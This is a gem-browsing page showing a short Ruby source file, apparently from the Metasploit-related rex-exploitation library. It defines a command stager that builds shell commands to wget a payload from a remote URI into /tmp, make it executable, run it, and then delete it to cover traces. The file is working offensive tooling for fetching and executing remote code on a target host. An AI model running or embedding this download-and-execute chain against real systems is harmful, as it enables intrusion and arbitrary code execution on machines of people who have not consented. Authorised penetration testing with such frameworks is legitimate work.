Sha256: c23919f8b3e6cb61d9a2ce45ab21d14e26015d75d7b3498ec44c809729eeb8ce

Contents?: true

Size: 619 Bytes

Versions: 1

Compression:

Stored size: 619 Bytes

Contents

# -*- coding: binary -*-

class Rex::Exploitation::CmdStagerWget < Rex::Exploitation::CmdStagerBase

  def http?
    true
  end

  def compress_commands(cmds, opts)
    if opts[:payload_uri].nil?
      raise "#{self.class.name}##{__callee__} missing opts[:payload_uri]"
    end

    opts[:temp] ||= '/tmp'
    payload_file  = opts[:payload_uri].split('/').last
    payload_path  = opts[:temp] + '/' + payload_file

    cmds << "wget -P #{opts[:temp]} #{opts[:payload_uri]}"
    cmds << "chmod +x #{payload_path}"
    cmds << payload_path
    cmds << "rm -f #{payload_path}" unless opts[:nodelete]

    super
  end

end

Version data entries

1 entries across 1 versions & 1 rubygems

Version Path
rex-exploitation-0.1.6 lib/rex/exploitation/cmdstager/wget.rb